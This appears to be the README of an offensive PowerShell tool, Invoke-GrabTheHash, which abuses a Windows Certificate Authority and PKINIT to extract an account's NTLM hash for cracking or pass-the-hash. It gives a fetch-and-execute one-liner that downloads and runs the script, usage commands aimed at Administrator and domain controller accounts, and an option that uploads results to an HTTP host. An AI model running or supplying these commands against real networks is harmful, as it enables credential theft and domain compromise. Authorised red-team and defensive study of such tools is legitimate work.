Requests a certificate from a Windows Certificate Authority (CA) for the User or Machine Account TGT held in your current session, uses PKINIT to obtain a TGT for the same Account, then performs the UnPAC-the-Hash technique to extract the Account's NTLM hash.
This approach can be valuable in situations where an account's TGT has been compromised. Gaining access to the account hash allows for further actions such as cracking it to retrieve the account plain-text password, pass-the-hash attacks, or acquiring a new TGT if the existing one has expired.
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Invoke-GrabTheHash/main/Invoke-GrabTheHash.ps1')
Invoke-GrabTheHash
Invoke-GrabTheHash -Domain ferrari.local
Invoke-GrabTheHash -CertTemplates
By default, the "User" or "Machine" template is used to request a certificate
Invoke-GrabTheHash -TemplateName User
Invoke-GrabTheHash -CAName "CA01.ferrari.local\ferrari-CA01-CA"
This must correspond to the TGT Client Name in your current session
Invoke-GrabTheHash -CN Administrator
Make sure you run on an elevated context or it will fail
Invoke-GrabTheHash -Machine
Invoke-GrabTheHash -Machine -DC
Invoke-GrabTheHash -Upload http://10.0.2.130/Documents/
Invoke-GrabTheHash -Break
You can also reuse a previously obtained .pfx to get the user hash
Make sure you provide the full path to the .pfx file, as well as the CN and Domain information
Invoke-GrabTheHash -PFX C:\Users\Senna\Downloads\Administrator.pfx -Domain ferrari.local -CN Administrator
Rubeus